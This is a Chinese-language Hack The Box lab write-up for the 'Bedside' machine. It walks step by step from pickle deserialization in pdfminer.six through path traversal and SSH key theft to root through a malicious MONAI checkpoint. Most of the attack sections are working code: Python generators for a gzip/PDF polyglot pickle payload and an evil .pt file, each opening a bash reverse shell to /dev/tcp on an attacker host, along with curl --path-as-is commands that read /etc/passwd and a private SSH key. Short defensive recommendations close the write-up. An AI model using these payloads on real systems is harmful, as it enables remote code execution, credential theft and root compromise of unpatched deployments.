Bedside%20HTB%20渗透测试%20Writeup%20—%20从%20PDF%20反序列化到%20Root
网安之家-CyberHomestead
2026年7月19日%2021:52
上海
在小说阅读器读本章
去阅读
Bedside%20HTB%20渗透测试%20Writeup%20—%20从%20PDF%20反序列化到%20Root
本文遵循负责任披露原则,已对敏感信息进行脱敏处理。Flag、密钥、IP%20等信息已遮挡,请勿直接抄袭。本文旨在分享渗透测试方法论与思路,而非提供现成答案。
0x00%20机器信息
| 项目 | 信息 |
|---|---|
| 机器名称 | Bedside |
| 难度 | Hard |
| 标签 | Web,%20RCE,%20Container,%20Privilege%20Escalation |
| 涉及%20CVE | CVE-2025-64512,%20CVE-2025-58756 |
| 攻击链长度 | 4%20步(RCE%20→%20路径遍历%20→%20SSH%20→%20提权) |
0x01%20网络拓扑图
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20┌─────────────────────────────┐
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 %20 %20 攻击者%20(Kali%20Linux)%20 %20 %20 │
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 %20 %20 %2010.10.x.x%20 %20 %20 %20 %20 %20 %20 │
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20└──────────┬──────────────────┘
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20┌──────────────┼──────────────────┐
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20HTTP/SSH%20 %20 %20│%20 %20 %20 %20 %20 %20 %20 %20 %20 │
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20▼%20 %20 %20 %20 %20 %20 %20 ▼%20 %20 %20 %20 %20 %20 %20 %20 %20 │
┌───────────────────────────────────────────────────────────────┐
│%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 目标机器%20bedside%20(10.129.x.x)%20 %20 %20 %20 %20 %20 %20 %20 │
│%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
│%20 ┌─────────────────────────────────────────────────────────┐%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 宿主机%20(Host)%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 :22%20 SSH%20←──────────%20developer%20用户%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │%20 │
│%20 │%20 :80%20 Apache%20+%20PHP-FPM%20(research.bedside.htb)%20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 :3000%20esm.sh/x%20开发服务器%20←──%20路径遍历%20 %20 %20 %20 %20 %20 %20 %20 %20 │%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 /datastore/%20←────%20共享卷%20────┐%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 /var/www/.../uploads/%20←%20共享卷%20┤%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 ┌────────────────────────────┴──────────────────────┐%20 │%20 │
│%20 │%20 │%20 %20 %20 %20 %20 Docker%20容器%20(data-wrangler)%20 %20 %20 %20 %20 %20 %20 %20│%20 │%20 │
│%20 │%20 │%20 %20 %20 %20 %20 172.17.0.2%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │%20 │
│%20 │%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │%20 │
│%20 │%20 │%20 /app/pdf_watcher.py%20(每30秒扫描PDF)%20 %20 %20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 │%20 /datastore/checkpoints/%20←%20恶意.pt%20放这里%20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 │%20 /datastore/staging/%20←%20需要放有效图片%20 %20 %20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 │%20 pdfminer.six%20==%2020250506%20(漏洞版本)%20 %20 %20 %20 %20 %20 %20 │%20 │%20 │
│%20 │%20 └───────────────────────────────────────────────────┘%20 │%20 │
│%20 │%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│%20 │
│%20 │%20 sudo:%20developer%20→%20(ALL)%20python3%20/opt/trainer/...py%20 %20 │%20 │
│%20 │%20 MONAI%201.5.0%20+%20PyTorch%20(CheckpointLoader%20反序列化)%20 %20 %20 │%20 │
│%20 └─────────────────────────────────────────────────────────┘%20 │
└───────────────────────────────────────────────────────────────┘
0x02%20渗透测试攻击路径图
步骤1:%20CVE-2025-64512%20(pdfminer.six%20pickle反序列化)
┌──────────────────┐%20 %20 %20┌──────────────────┐%20 %20 %20┌──────────────────┐
│%20上传%20evil.pickle%20 │────▶│%20上传%20trigger%20PDF%20 │────▶│%20pdfminer%20处理%20PDF%20│
│%20(polyglot:%20gzip%20 %20│%20 %20 %20│%20(/Encoding%20指向%20 %20│%20 %20 %20│%20→%20加载%20pickle%20 %20 │
│%20 +%20pickle%20+%20PDF)%20 │%20 %20 %20│%20 evil.pickle.gz)%20 │%20 %20 %20│%20→%20RCE%20 %20 %20 %20 %20 %20 │
└──────────────────┘%20 %20 %20└──────────────────┘%20 %20 %20└────────┬─────────┘
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20▼
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20datawrangler@data-wrangler
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20(Docker%20容器%20shell)
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
步骤2:%20esm.sh/x%20路径遍历%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
┌──────────────────────────────────────────┐%20 %20 %20 %20 %20 %20 %20 │
│%20curl%20--path-as-is%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │◀─────────────┤
│%20\"http://172.17.0.1:3000/../../../../%20 %20 %20 │
│%20 home/developer/.ssh/id_rsa\"%20 %20 %20 %20 %20 %20 %20│
└──────────────────┬───────────────────────┘
%20 %20 %20 %20 %20 %20 %20 %20 %20 │%20读取到%20developer%20SSH%20私钥
%20 %20 %20 %20 %20 %20 %20 %20 %20 ▼
步骤3:%20SSH%20登录宿主机
┌──────────────────┐
│%20ssh%20-i%20key%20 %20 %20 %20│────▶%20developer@bedside%20(宿主机)
│%20developer@target%20│%20 %20 %20sudo%20-l%20→%20可运行%20MONAI%20trainer
└──────────────────┘
%20 %20 %20 %20 %20 %20 %20 %20 %20 │
步骤4:%20CVE-2025-58756%20(MONAI%20CheckpointLoader%20反序列化)%20 %20 │
┌──────────────────────────────┐%20 %20 %20┌──────────────────┐│
│%20容器:%20写%20evil.pt%20到%20 %20 %20 %20 %20 %20│────▶│%20developer:%20 %20 %20 %20││
│%20/datastore/checkpoints/%20 %20 %20 │%20 %20 %20│%20sudo%20python3%20 %20 %20││
│%20容器:%20放%20test.png 到 staging │ │ bedside_trainer ││
└──────────────────────────────┘ └────────┬─────────┘│
│ │
▼ │
CheckpointLoader │
→ torch.load() │
→ pickle.load() │
→ RCE as root │
│ │
▼ │
root@bedside │
cat /root/root.txt │
████████████████ │
0x03 侦察阶段
3.1 端口扫描
nmap -sC -sV -oA bedside 10.129.x.x
# 结果
22/tcp open ssh OpenSSH
80/tcp open http Apache httpd
3.2 子域名枚举
ffuf -u http://10.129.x.x -H \"Host: FUZZ.bedside.htb\" -w /usr/share/wordlists/dirb/common.txt -fs 10918
# 发现
research.bedside.htb (200, 与主站不同)
3.3 子站探测
# 添加 hosts
echo \"10.129.x.x research.bedside.htb\" >> /etc/hosts
# 访问 research 子站
curl -s http://research.bedside.htb/
# 发现文件上传功能
3.4 上传测试 — 发现 pdfminer.six
# 上传测试文件,抓取响应头
curl -sv -X POST http://research.bedside.htb/ \\
-F \"[email protected]\" 2>&1 | grep -i \"powered\\|server\\|x-\"
# 关键发现
# X-Powered-By: pdfminer.six
玄机 #1:
X-Powered-By头直接暴露了后端使用的 PDF 处理库。用 Burp Suite 抓上传请求的响应就能看到。这是一个被忽略的早期线索。
0x04 漏洞研究 — CVE-2025-64512
4.1 漏洞原理
pdfminer.six 的 CMapDB._load_data() 函数使用 pickle.loads() 反序列化 .pickle.gz 文件:
# 漏洞代码 (pdfminer/cmapdb.py)
def _load_data(cls, name: str) -> Any:
name = name.replace(\"\\0\", \"\") # 不充分的过滤
filename = \"%s.pickle.gz\" % name
path = os.path.join(directory, filename) # 绝对路径时 directory 被忽略
return type(str(name), (), pickle.loads(gzfile.read())) # 不安全反序列化
攻击者可以在 PDF 的 /Encoding 字段指定任意路径,pdfminer 会加载该路径的 .pickle.gz 文件并反序列化。
4.2 利用条件
-
- 上传恶意
.pickle.gz文件到服务器可访问的路径
- 上传恶意
-
- 上传 trigger PDF,其
/Encoding指向.pickle.gz的路径
- 上传 trigger PDF,其
-
- pdfminer 处理 trigger PDF 时加载并反序列化恶意 pickle
4.3 关键约束
- •
pickle.loads()的返回值会被传给type(name, (), result),所以必须返回 dict - • pdfminer 按 CMap 名缓存,同名文件不会二次加载
- • trigger PDF 必须使用完整的 Type0 字体结构(
/DescendantFonts+/CIDFontType2+/FontDescriptor)
0x05 Foothold — 容器 RCE
5.1 Payload 构造
import gzip, pickle
# pickle payload: 执行命令并返回 dict
cmd = \"curl http://10.10.x.x:8000/EXEC;bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'\"
code = f\"__import__('subprocess').Popen({repr(cmd)},shell=True) or {{}}\"
class RCE:
def __reduce__(self):
return (eval, (code,))
payload = pickle.dumps(RCE())
# 构造 polyglot: gzip + PDF in FCOMMENT
base_gz = gzip.compress(payload)
gz = bytearray(base_gz)
gz[3] |= 0x10 # 设置 FCOMMENT flag
pdf = b\"\"\"%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000052 00000 n
0000000101 00000 n
trailer<</Size 4/Root 1 0 R>>
startxref
149
%%EOF
\"\"\"
comment = b\"\
\" + pdf + b'\\x00'
new_gz = bytearray(gz[:10]) + comment + bytearray(gz[10:])
with open(\"payload.pickle.gz\", \"wb\") as f:
f.write(new_gz)
5.2 Trigger PDF 构造
# /Encoding 指向 payload.pickle.gz 的服务器路径
# 路径必须包含完整 vhost 名!
encoding_path = \"#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fpayload\"
# 解码后 = /var/www/research.bedside.htb/uploads/payload
# pdfminer 会找 /var/www/research.bedside.htb/uploads/payload.pickle.gz
pdf = f\"\"\"%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
/Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj
4 0 obj << /Length 44 >> stream
BT /F1 12 Tf 100 700 Td (X) Tj ET
endstream endobj
5 0 obj << /Type /Font /Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /{encoding_path}
/DescendantFonts [6 0 R] >> endobj
6 0 obj << /Type /Font /Subtype /CIDFontType2
/BaseFont /MaliciousFont /CIDSystemInfo
<< /Registry (Adobe) /Ordering (Identity) /Supplement 0 >>
/FontDescriptor 7 0 R >> endobj
7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont
/Flags 4 /FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0 /Ascent 1000 /Descent -200
/CapHeight 800 /StemV 80 >> endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer << /Size 8 /Root 1 0 R >>
startxref
871
%%EOF
\"\"\"
玄机 #2: CMap 路径必须是
/var/www/research.bedside.htb/uploads/,包含完整 vhost 名。少了.bedside.htb就触发不了。这个路径在容器内的/app/pdf_watcher.py源码中可以直接找到。
5.3 上传与触发
# 1. 上传 pickle payload
curl -s -X POST http://research.bedside.htb/ -F \"[email protected]\"
# 2. 上传 trigger PDF(pdfminer 30秒内自动处理)
curl -s -X POST http://research.bedside.htb/ -F \"[email protected]\"
# 3. 在 Kali 上监听
nc -lvnp 4444
# 等待约 30 秒,收到 shell
# datawrangler@data-wrangler:/app$
玄机 #3:
pdf_watcher.py每 30 秒扫描一次 uploads 目录。触发是异步的,不是即时。需要耐心等待。
5.4 容器内信息收集
# 确认身份
id
# uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
# 查看应用源码 — 发现关键路径
cat /app/pdf_watcher.py
# UPLOAD_DIR = \"/var/www/research.bedside.htb/uploads\" ← 正确路径!
# 查看挂载点
cat /proc/mounts | grep -v proc | grep -v sys
# /dev/sda4 /datastore ext4 rw ← 共享卷
# /dev/sda4 /var/www/research.bedside.htb/uploads ext4 rw ← 共享卷
# 扫描 Docker 网关
for port in 80 3000; do
curl -s -o /dev/null -w \"$port: %{http_code}\
\" http://172.17.0.1:$port/
done
# 80: 301 (Apache)
# 3000: 200 (esm.sh/x 开发服务器)
0x06 路径遍历 — 读取宿主机文件
6.1 发现 esm.sh/x 服务器
curl -s http://172.17.0.1:3000/ | head -5
# <title>Bedside Clinic - Image Viewer</title>
# Built with esm.sh/x
curl -sI http://172.17.0.1:3000/
# HTTP/1.1 200 OK
# Etag: w/\"...\" ← Go 风格 Etag
6.2 路径遍历 — 关键:--path-as-is
# ❌ 普通 curl — 会规范化 ../,服务器收不到遍历请求
curl -s \"http://172.17.0.1:3000/../../../../etc/passwd\"
# Not Found
# ✅ 加 --path-as-is — 发送原始路径
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../etc/passwd\"
# root:x:0:0:root:/root:/bin/bash
# ...
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
# datawrangler:x:988:1001::/home/datawrangler:/bin/sh
玄机 #4:
curl默认会规范化 URL 中的../,导致服务器收到的不是路径遍历请求。必须加--path-as-is参数。这是整个攻击链中最隐蔽的一个坑。
6.3 读取 SSH 私钥
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../home/developer/.ssh/id_rsa\"
# -----BEGIN OPENSSH PRIVATE KEY-----
# [已脱敏]
# -----END OPENSSH PRIVATE KEY-----
# 读取 user flag
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../home/developer/user.txt\"
# ████████████████████████████████ (已脱敏)
6.4 SSH 登录宿主机
# 在 Kali 上
chmod 600 developer_key
ssh -i developer_key [email protected]
# 成功登录
# developer@bedside:~$
6.5 检查 sudo 权限
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
0x07 提权 — MONAI Trainer 反序列化
7.1 漏洞分析
cat /opt/trainer/bedside_trainer.py
关键代码:
from monai.handlers import CheckpointLoader
# 查找最新的 .pt 文件
latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR) # /datastore/checkpoints/*.pt
if latest_ckpt:
loader = CheckpointLoader(
load_path=str(latest_ckpt),
load_dict={\"model\": model, \"optimizer\": optimizer},
map_location=DEVICE
)
loader(engine) # ← 这里触发 torch.load() → pickle.load()
CheckpointLoader 内部调用 torch.load(),而 torch.load() 使用 pickle.load() 反序列化 .pt 文件。
7.2 攻击计划
datawrangler (容器) developer (宿主机)
│ │
├─ 写 evil.pt → /datastore/checkpoints/│
├─ 写 test.png → /datastore/staging/ │
├─ 清理 .txt 文件 │
│ │
│ ├─ sudo python3 trainer.py
│ │ → 加载 test.png (成功)
│ │ → 加载 evil.pt
│ │ → pickle 反序列化
│ │ → ROOT SHELL
└────────────── 共享卷 ────────────────┘
7.3 在容器中准备文件
# === 在 datawrangler 容器中执行 ===
# 1. 清理 staging 中的 .txt(pdf_watcher 生成的)
rm -f /datastore/staging/*.txt /datastore/processed/*.txt
# 2. 删除 uploads 中的 PDF(阻止 watcher 生成新 .txt)
rm -f /var/www/research.bedside.htb/uploads/*.pdf
rm -f /var/www/research.bedside.htb/uploads/*.pickle.gz
# 3. 创建有效 PNG 图片(trainer 需要能加载的图片)
python3 -c \"
import struct, zlib
w, h = 1, 1
raw = b'\\x00' + b'\\xff\\x00\\x00' * w
comp = zlib.compress(raw)
def ch(t, d):
c = t + d
return struct.pack('>I', len(d)) + c + struct.pack('>I', zlib.crc32(c) & 0xffffffff)
png = b'\\x89PNG\\r\
\\x1a\
'
png += ch(b'IHDR', struct.pack('>IIBBBBB', w, h, 8, 2, 0, 0, 0))
png += ch(b'IDAT', comp)
png += ch(b'IEND', b'')
with open('/datastore/staging/test.png', 'wb') as f:
f.write(png)
\"
# 4. 创建恶意 .pt 文件(pickle RCE)
python3 -c \"
import pickle, os
class Evil:
def __reduce__(self):
return (os.system, ('bash -c \\\"bash -i >& /dev/tcp/10.10.x.x/4445 0>&1\\\"',))
with open('/datastore/checkpoints/evil.pt', 'wb') as f:
pickle.dump(Evil(), f)
\"
# 5. 确认文件
ls -la /datastore/staging/ # 只有 test.png
ls -la /datastore/processed/ # 空
ls -la /datastore/checkpoints/ # 只有 evil.pt
玄机 #5: trainer 先加载图片数据,然后才加载 checkpoint。如果图片加载失败(比如 staging 里有 .txt 文件),永远不会执行到 checkpoint 加载。所以必须清理 .txt 并放一个有效 PNG。
7.4 触发提权
# === 在 Kali 上监听 ===
nc -lvnp 4445
# === 在 developer SSH 中执行(30秒内,趁 watcher 没生成新 .txt)===
sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py
# trainer 输出:
# Promoted 1 files from staging -> processed
# Using 1 samples for training.
# Auto-detected input features: 12288
# Found checkpoint /datastore/checkpoints/evil.pt, loading with CheckpointLoader...
# Kali 上收到 root shell!
# root@bedside:/home/developer#
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# ████████████████████████████████ (已脱敏)
0x08 完整渗透测试拓扑图
┌─────────────────────────────────────────────────────────────────────────┐
│ 攻击链全景图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ①上传pickle+PDF ┌──────────────────────────────┐ │
│ │ │ ─────────────────────▶ │ research.bedside.htb (:80) │ │
│ │ Kali │ │ ↓ pdf_watcher (30s) │ │
│ │ 10.10.x.x│ ②收到反弹shell │ ↓ pdfminer.six RCE │ │
│ │ │ ◀───────────────────── │ ↓ │ │
│ │ :4444 │ │ Docker 容器 (data-wrangler) │ │
│ │ :4445 │ │ datawrangler@data-wrangler │ │
│ │ :8000 │ └──────────┬───────────────────┘ │
│ └────┬─────┘ │ │
│ │ │ ③路径遍历 │
│ │ ▼ │
│ │ ④SSH登录 ┌──────────────────────────────┐ │
│ └─────────────────────────│ 172.17.0.1:3000 (esm.sh/x) │ │
│ │ curl --path-as-is /../../../ │ │
│ │ → 读取 developer SSH 私钥 │ │
│ │ → 读取 user.txt │ │
│ └──────────┬───────────────────┘ │
│ │ │
│ │ ⑤SSH │
│ ▼ │
│ ┌──────────────────────────────┐ │
│ │ developer@bedside (宿主机) │ │
│ │ │ │
│ │ sudo: python3 trainer.py │ │
│ │ │ │
│ │ ⑥容器写 evil.pt → checkpoints│ │
│ │ 容器写 test.png → staging │ │
│ │ developer sudo trainer.py │ │
│ │ → CheckpointLoader │ │
│ │ → torch.load() │ │
│ │ → pickle.load() │ │
│ │ → ROOT RCE │ │
│ │ │ │
│ │ root@bedside │ │
│ │ cat /root/root.txt │ │
│ │ ████████████████ │ │
│ └──────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
0x09 踩坑总结
| # | 坑 | 浪费时间 | 教训 |
|---|---|---|---|
| 1 | CMap 路径少写 .bedside.htb |
~3小时 | 路径必须和 vhost 名一致;先读源码确认 |
| 2 | curl 默认规范化 ../ |
~1小时 | 用 --path-as-is 发送原始路径 |
| 3 | pdfminer CMap 缓存 | ~30分钟 | 每次用新的 CMap 名字 |
| 4 | 端口 4444 被防火墙挡 | ~1小时 | 先验证端口可达性(curl 回调) |
| 5 | staging 的 .txt 导致 trainer 崩溃 | ~30分钟 | 清理 .txt + 删除 uploads 中的 PDF |
| 6 | developer 无法写 /datastore | ~15分钟 | 两个立足点配合,容器写文件,宿主机执行 |
0x10 防御建议
- 1. 升级 pdfminer.six 到 ≥ 20251107(移除了 pickle 反序列化,改用 JSON)
- 2. 升级 MONAI 到修复 CVE-2025-58756 的版本
- 3. 限制 sudo 权限,避免 developer 能以 root 运行 Python 脚本
- 4. 容器隔离,datawrangler 不应能访问宿主机服务(端口 3000)
- 5. 路径遍历防护,esm.sh/x 服务器应验证请求路径不包含
../ - 6. 移除 X-Powered-By 头,不暴露后端技术栈
- 7. SSH 密钥保护,私钥应设置 passphrase
- 8. 共享卷权限,/datastore 不应对 datawrangler 可写
0x11 时间线
| 时间 | 事件 |
|---|---|
| T+0h | 端口扫描、子域名枚举、发现 research.bedside.htb |
| T+0.5h | 发现文件上传功能、X-Powered-By: pdfminer.six |
| T+1h | 研究 CVE-2025-64512、构造 polyglot payload |
| T+2h | 上传测试、verify 回调成功 |
| T+3h | attack 反复失败(路径错误) |
| T+5h | 发现正确路径 /var/www/research.bedside.htb/uploads/ |
| T+5.5h | 拿到 datawrangler 容器 shell |
| T+6h | 发现端口 3000 路径遍历(--path-as-is) |
| T+6.5h | 读取 SSH 私钥、登录 developer |
| T+7h | 分析 MONAI trainer、构造恶意 .pt 文件 |
| T+7.5h | 拿到 root shell |
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论